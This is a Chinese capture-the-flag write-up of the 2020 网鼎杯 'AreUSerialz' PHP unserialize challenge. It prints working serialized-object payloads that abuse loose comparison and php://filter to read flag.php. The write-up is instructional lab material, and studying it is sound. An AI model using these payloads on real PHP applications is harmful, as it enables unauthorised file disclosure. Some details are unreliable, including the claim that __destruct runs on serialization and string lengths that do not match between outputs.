[网鼎杯 2020 青龙组]AreUSerialz

目录

一、题目分析

(1)构造函数

(2)process函数

(3)write函数

(4)read函数

(5)destruct函数

(6)is_vaild判断条件函数

(7)传参判断条件

二、解题

解法一:

解法二:


一、题目分析

点击页面查看源码,可以发现有一个类FileHandler,关键是类中的三个参数op,filename,$content,都是protected类型的

接下来仔细分析每个函数:

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。

php 复制代码
function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较 ,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

php 复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

(3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

$res = file_put_contents($this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

php 复制代码
 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

php 复制代码
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2, 这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

php 复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

查看ascii码表发现[32,125]这个区间内的都是可打印字符。

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

二、解题

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $content;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。

这是因为我们的变量**op,filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.**

如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。

解法一:

将chr(0)以转化为\00*\00的方式输出,并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    protected $op=2;
    protected $filename="php://filter/convert.base64-encode/resource=flag.php";
    protected $content;


}

$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

得到的payload

php 复制代码
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

可以看到flag.php以base64的方式读取出来了,解密即可得到flag

解法二:

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
    public $content;


}

$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

构造payload:

php 复制代码
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

就写到这里啦,喜欢的话给我点个赞吧!!!

相关推荐
oMcLin17 分钟前
如何在 Debian 11 上实现基于 BGP 路由的动态负载均衡,提升跨地域数据中心的连接稳定性
debian·php·负载均衡
oMcLin25 分钟前
如何在RHEL 9上配置并优化Kubernetes 1.23高可用集群,提升大规模容器化应用的自动化部署与管理?
kubernetes·自动化·php
ben9518chen1 小时前
Linux文件系统基础
linux·服务器·php
电商API&Tina13 小时前
京东 API 数据采集接口接入与行业分析
运维·服务器·网络·数据库·django·php
Sammyyyyy17 小时前
Symfony AI 正式发布,PHP 原生 AI 时代开启
开发语言·人工智能·后端·php·symfony·servbay
码农水水19 小时前
大疆Java面试被问:TCC事务的悬挂、空回滚问题解决方案
java·开发语言·人工智能·面试·职场和发展·单元测试·php
do better myself21 小时前
php 使用IP2Location限制指定的国家访问实现
开发语言·php
用户14644605033791 天前
PHP 多维数组处理利器:array_column() 用法详解
php·thinkphp
郑州光合科技余经理1 天前
架构解析:同城本地生活服务o2o平台海外版
大数据·开发语言·前端·人工智能·架构·php·生活
智能修复1 天前
502 Bad Gateway:互联网世界的“断桥”时刻
开发语言·php